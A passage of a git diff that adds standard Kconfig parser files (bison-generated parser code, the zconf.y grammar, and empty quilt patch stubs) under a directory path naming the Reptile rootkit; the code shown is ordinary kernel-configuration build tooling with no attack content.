{ + menu_add_visibility((yyvsp[(2) - (2)].expr)); +} + break; + + case 98: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(1) - (2)].string), (yyvsp[(2) - (2)].expr)); +} + break; + + case 101: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 102: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 103: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 106: + + { (yyval.expr) = NULL; } + break; + + case 107: + + { (yyval.expr) = (yyvsp[(2) - (2)].expr); } + break; + + case 108: + + { (yyval.expr) = expr_alloc_symbol((yyvsp[(1) - (1)].symbol)); } + break; + + case 109: + + { (yyval.expr) = expr_alloc_comp(E_EQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 110: + + { (yyval.expr) = expr_alloc_comp(E_UNEQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 111: + + { (yyval.expr) = (yyvsp[(2) - (3)].expr); } + break; + + case 112: + + { (yyval.expr) = expr_alloc_one(E_NOT, (yyvsp[(2) - (2)].expr)); } + break; + + case 113: + + { (yyval.expr) = expr_alloc_two(E_OR, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 114: + + { (yyval.expr) = expr_alloc_two(E_AND, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 115: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), 0); free((yyvsp[(1) - (1)].string)); } + break; + + case 116: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), SYMBOL_CONST); free((yyvsp[(1) - (1)].string)); } + break; + + case 117: + + { (yyval.string) = NULL; } + break; + + + + default: break; + } + /* User semantic actions sometimes alter yychar, and that requires + that yytoken be updated with the new translation. We take the + approach of translating immediately before every use of yytoken. + One alternative is translating here after every semantic action, + but that translation would be missed if the semantic action invokes + YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or + if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an + incorrect destructor might then be invoked immediately. In the + case of YYERROR or YYBACKUP, subsequent parser actions might lead + to an incorrect destructor call or verbose syntax error message + before the lookahead is translated. */ + YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc); + + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + + *++yyvsp = yyval; + + /* Now `shift' the result of the reduction. Determine what state + that goes to, based on the state we popped back to and the rule + number reduced by. */ + + yyn = yyr1[yyn]; + + yystate = yypgoto[yyn - YYNTOKENS] + *yyssp; + if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp) + yystate = yytable[yystate]; + else + yystate = yydefgoto[yyn - YYNTOKENS]; + + goto yynewstate; + + +/*------------------------------------. +| yyerrlab -- here on detecting error | +`------------------------------------*/ +yyerrlab: + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar); + + /* If not already recovering from an error, report this error. */ + if (!yyerrstatus) + { + ++yynerrs; +#if ! YYERROR_VERBOSE + yyerror (YY_("syntax error")); +#else +# define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \ + yyssp, yytoken) + { + char const *yymsgp = YY_("syntax error"); + int yysyntax_error_status; + yysyntax_error_status = YYSYNTAX_ERROR; + if (yysyntax_error_status == 0) + yymsgp = yymsg; + else if (yysyntax_error_status == 1) + { + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); + yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc); + if (!yymsg) + { + yymsg = yymsgbuf; + yymsg_alloc = sizeof yymsgbuf; + yysyntax_error_status = 2; + } + else + { + yysyntax_error_status = YYSYNTAX_ERROR; + yymsgp = yymsg; + } + } + yyerror (yymsgp); + if (yysyntax_error_status == 2) + goto yyexhaustedlab; + } +# undef YYSYNTAX_ERROR +#endif + } + + + + if (yyerrstatus == 3) + { + /* If just tried and failed to reuse lookahead token after an + error, discard it. */ + + if (yychar <= YYEOF) + { + /* Return failure if at end of input. */ + if (yychar == YYEOF) + YYABORT; + } + else + { + yydestruct ("Error: discarding", + yytoken, &yylval); + yychar = YYEMPTY; + } + } + + /* Else will try to reuse lookahead token after shifting the error + token. */ + goto yyerrlab1; + + +/*---------------------------------------------------. +| yyerrorlab -- error raised explicitly by YYERROR. | +`---------------------------------------------------*/ +yyerrorlab: + + /* Pacify compilers like GCC when the user code never invokes + YYERROR and the label yyerrorlab therefore never appears in user + code. */ + if (/*CONSTCOND*/ 0) + goto yyerrorlab; + + /* Do not reclaim the symbols of the rule which action triggered + this YYERROR. */ + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + yystate = *yyssp; + goto yyerrlab1; + + +/*-------------------------------------------------------------. +| yyerrlab1 -- common code for both syntax error and YYERROR. | +`-------------------------------------------------------------*/ +yyerrlab1: + yyerrstatus = 3; /* Each real token shifted decrements this. */ + + for (;;) + { + yyn = yypact[yystate]; + if (!yypact_value_is_default (yyn)) + { + yyn += YYTERROR; + if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR) + { + yyn = yytable[yyn]; + if (0 < yyn) + break; + } + } + + /* Pop the current state because it cannot handle the error token. */ + if (yyssp == yyss) + YYABORT; + + + yydestruct ("Error: popping", + yystos[yystate], yyvsp); + YYPOPSTACK (1); + yystate = *yyssp; + YY_STACK_PRINT (yyss, yyssp); + } + + *++yyvsp = yylval; + + + /* Shift the error token. */ + YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp); + + yystate = yyn; + goto yynewstate; + + +/*-------------------------------------. +| yyacceptlab -- YYACCEPT comes here. | +`-------------------------------------*/ +yyacceptlab: + yyresult = 0; + goto yyreturn; + +/*-----------------------------------. +| yyabortlab -- YYABORT comes here. | +`-----------------------------------*/ +yyabortlab: + yyresult = 1; + goto yyreturn; + +#if !defined(yyoverflow) || YYERROR_VERBOSE +/*-------------------------------------------------. +| yyexhaustedlab -- memory exhaustion comes here. | +`-------------------------------------------------*/ +yyexhaustedlab: + yyerror (YY_("memory exhausted")); + yyresult = 2; + /* Fall through. */ +#endif + +yyreturn: + if (yychar != YYEMPTY) + { + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = YYTRANSLATE (yychar); + yydestruct ("Cleanup: discarding lookahead", + yytoken, &yylval); + } + /* Do not reclaim the symbols of the rule which action triggered + this YYABORT or YYACCEPT. */ + YYPOPSTACK (yylen); + YY_STACK_PRINT (yyss, yyssp); + while (yyssp != yyss) + { + yydestruct ("Cleanup: popping", + yystos[*yyssp], yyvsp); + YYPOPSTACK (1); + } +#ifndef yyoverflow + if (yyss != yyssa) + YYSTACK_FREE (yyss); +#endif +#if YYERROR_VERBOSE + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); +#endif + /* Make sure YYID is used. */ + return YYID (yyresult); +} + + + + + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.y b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.y new file mode 100644 index 0000000..08ac041 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/zconf.y @@ -0,0 +1,733 @@ +%{ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + +%} +%expect 30 + +%union +{ + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; +} + +%token T_MAINMENU +%token T_MENU +%token T_ENDMENU +%token T_SOURCE +%token T_CHOICE +%token T_ENDCHOICE +%token T_COMMENT +%token T_CONFIG +%token T_MENUCONFIG +%token T_HELP +%token T_HELPTEXT +%token T_IF +%token T_ENDIF +%token T_DEPENDS +%token T_OPTIONAL +%token T_PROMPT +%token T_TYPE +%token T_DEFAULT +%token T_SELECT +%token T_RANGE +%token T_VISIBLE +%token T_OPTION +%token T_ON +%token T_WORD +%token T_WORD_QUOTE +%token T_UNEQUAL +%token T_CLOSE_PAREN +%token T_OPEN_PAREN +%token T_EOL + +%left T_OR +%left T_AND +%left T_EQUAL T_UNEQUAL +%nonassoc T_NOT + +%type prompt +%type symbol +%type expr +%type if_expr +%type end +%type option_name +%type if_entry menu_entry choice_entry +%type symbol_option_arg word_opt + +%destructor { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + $$->file->name, $$->lineno); + if (current_menu == $$) + menu_end_menu(); +} if_entry menu_entry choice_entry + +%{ +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" +%} + +%% +input: nl start | start; + +start: mainmenu_stmt stmt_list | stmt_list; + +stmt_list: + /* empty */ + | stmt_list common_stmt + | stmt_list choice_stmt + | stmt_list menu_stmt + | stmt_list end { zconf_error("unexpected end statement"); } + | stmt_list T_WORD error T_EOL { zconf_error("unknown statement \"%s\"", $2); } + | stmt_list option_name error T_EOL +{ + zconf_error("unexpected option \"%s\"", kconf_id_strings + $2->name); +} + | stmt_list error T_EOL { zconf_error("invalid statement"); } +; + +option_name: + T_DEPENDS | T_PROMPT | T_TYPE | T_SELECT | T_OPTIONAL | T_RANGE | T_DEFAULT | T_VISIBLE +; + +common_stmt: + T_EOL + | if_stmt + | comment_stmt + | config_stmt + | menuconfig_stmt + | source_stmt +; + +option_error: + T_WORD error T_EOL { zconf_error("unknown option \"%s\"", $1); } + | error T_EOL { zconf_error("invalid option"); } +; + + +/* config/menuconfig entry */ + +config_entry_start: T_CONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +config_stmt: config_entry_start config_option_list +{ + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +menuconfig_entry_start: T_MENUCONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +menuconfig_stmt: menuconfig_entry_start config_option_list +{ + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +config_option_list: + /* empty */ + | config_option_list config_option + | config_option_list symbol_option + | config_option_list depends + | config_option_list help + | config_option_list option_error + | config_option_list T_EOL +; + +config_option: T_TYPE prompt_stmt_opt T_EOL +{ + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_DEFAULT expr if_expr T_EOL +{ + menu_add_expr(P_DEFAULT, $2, $3); + if ($1->stype != S_UNKNOWN) + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_SELECT T_WORD if_expr T_EOL +{ + menu_add_symbol(P_SELECT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_RANGE symbol symbol if_expr T_EOL +{ + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,$2, $3), $4); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +}; + +symbol_option: T_OPTION symbol_option_list T_EOL +; + +symbol_option_list: + /* empty */ + | symbol_option_list T_WORD symbol_option_arg +{ + const struct kconf_id *id = kconf_id_lookup($2, strlen($2)); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, $3); + else + zconfprint("warning: ignoring unknown option %s", $2); + free($2); +}; + +symbol_option_arg: + /* empty */ { $$ = NULL; } + | T_EQUAL prompt { $$ = $2; } +; + +/* choice entry */ + +choice: T_CHOICE word_opt T_EOL +{ + struct symbol *sym = sym_lookup($2, SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +}; + +choice_entry: choice choice_option_list +{ + $$ = menu_add_menu(); +}; + +choice_end: end +{ + if (zconf_endtoken($1, T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +}; + +choice_stmt: choice_entry choice_block choice_end +; + +choice_option_list: + /* empty */ + | choice_option_list choice_option + | choice_option_list depends + | choice_option_list help + | choice_option_list T_EOL + | choice_option_list option_error +; + +choice_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_TYPE prompt_stmt_opt T_EOL +{ + if ($1->stype == S_BOOLEAN || $1->stype == S_TRISTATE) { + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); + } else + YYERROR; +}; + +choice_option: T_OPTIONAL T_EOL +{ + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_DEFAULT T_WORD if_expr T_EOL +{ + if ($1->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +}; + +choice_block: + /* empty */ + | choice_block common_stmt +; + +/* if entry */ + +if_entry: T_IF expr nl +{ + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep($2); + $$ = menu_add_menu(); +}; + +if_end: end +{ + if (zconf_endtoken($1, T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +}; + +if_stmt: if_entry if_block if_end +; + +if_block: + /* empty */ + | if_block common_stmt + | if_block menu_stmt + | if_block choice_stmt +; + +/* mainmenu entry */ + +mainmenu_stmt: T_MAINMENU prompt nl +{ + menu_add_prompt(P_MENU, $2, NULL); +}; + +/* menu entry */ + +menu: T_MENU prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_MENU, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +}; + +menu_entry: menu visibility_list depends_list +{ + $$ = menu_add_menu(); +}; + +menu_end: end +{ + if (zconf_endtoken($1, T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +}; + +menu_stmt: menu_entry menu_block menu_end +; + +menu_block: + /* empty */ + | menu_block common_stmt + | menu_block menu_stmt + | menu_block choice_stmt +; + +source_stmt: T_SOURCE prompt T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), $2); + zconf_nextfile($2); +}; + +/* comment entry */ + +comment: T_COMMENT prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +}; + +comment_stmt: comment depends_list +{ + menu_end_entry(); +}; + +/* help option */ + +help_start: T_HELP T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +}; + +help: help_start T_HELPTEXT +{ + current_entry->help = $2; +}; + +/* depends option */ + +depends_list: + /* empty */ + | depends_list depends + | depends_list T_EOL + | depends_list option_error +; + +depends: T_DEPENDS T_ON expr T_EOL +{ + menu_add_dep($3); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +}; + +/* visibility option */ + +visibility_list: + /* empty */ + | visibility_list visible + | visibility_list T_EOL +; + +visible: T_VISIBLE if_expr +{ + menu_add_visibility($2); +}; + +/* prompt statement */ + +prompt_stmt_opt: + /* empty */ + | prompt if_expr +{ + menu_add_prompt(P_PROMPT, $1, $2); +}; + +prompt: T_WORD + | T_WORD_QUOTE +; + +end: T_ENDMENU T_EOL { $$ = $1; } + | T_ENDCHOICE T_EOL { $$ = $1; } + | T_ENDIF T_EOL { $$ = $1; } +; + +nl: + T_EOL + | nl T_EOL +; + +if_expr: /* empty */ { $$ = NULL; } + | T_IF expr { $$ = $2; } +; + +expr: symbol { $$ = expr_alloc_symbol($1); } + | symbol T_EQUAL symbol { $$ = expr_alloc_comp(E_EQUAL, $1, $3); } + | symbol T_UNEQUAL symbol { $$ = expr_alloc_comp(E_UNEQUAL, $1, $3); } + | T_OPEN_PAREN expr T_CLOSE_PAREN { $$ = $2; } + | T_NOT expr { $$ = expr_alloc_one(E_NOT, $2); } + | expr T_OR expr { $$ = expr_alloc_two(E_OR, $1, $3); } + | expr T_AND expr { $$ = expr_alloc_two(E_AND, $1, $3); } +; + +symbol: T_WORD { $$ = sym_lookup($1, 0); free($1); } + | T_WORD_QUOTE { $$ = sym_lookup($1, SYMBOL_CONST); free($1); } +; + +word_opt: /* empty */ { $$ = NULL; } + | T_WORD + +%% + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/GNUmakefile b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/GNUmakefile new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/README b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/README new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/config.sh b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/config.sh new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git 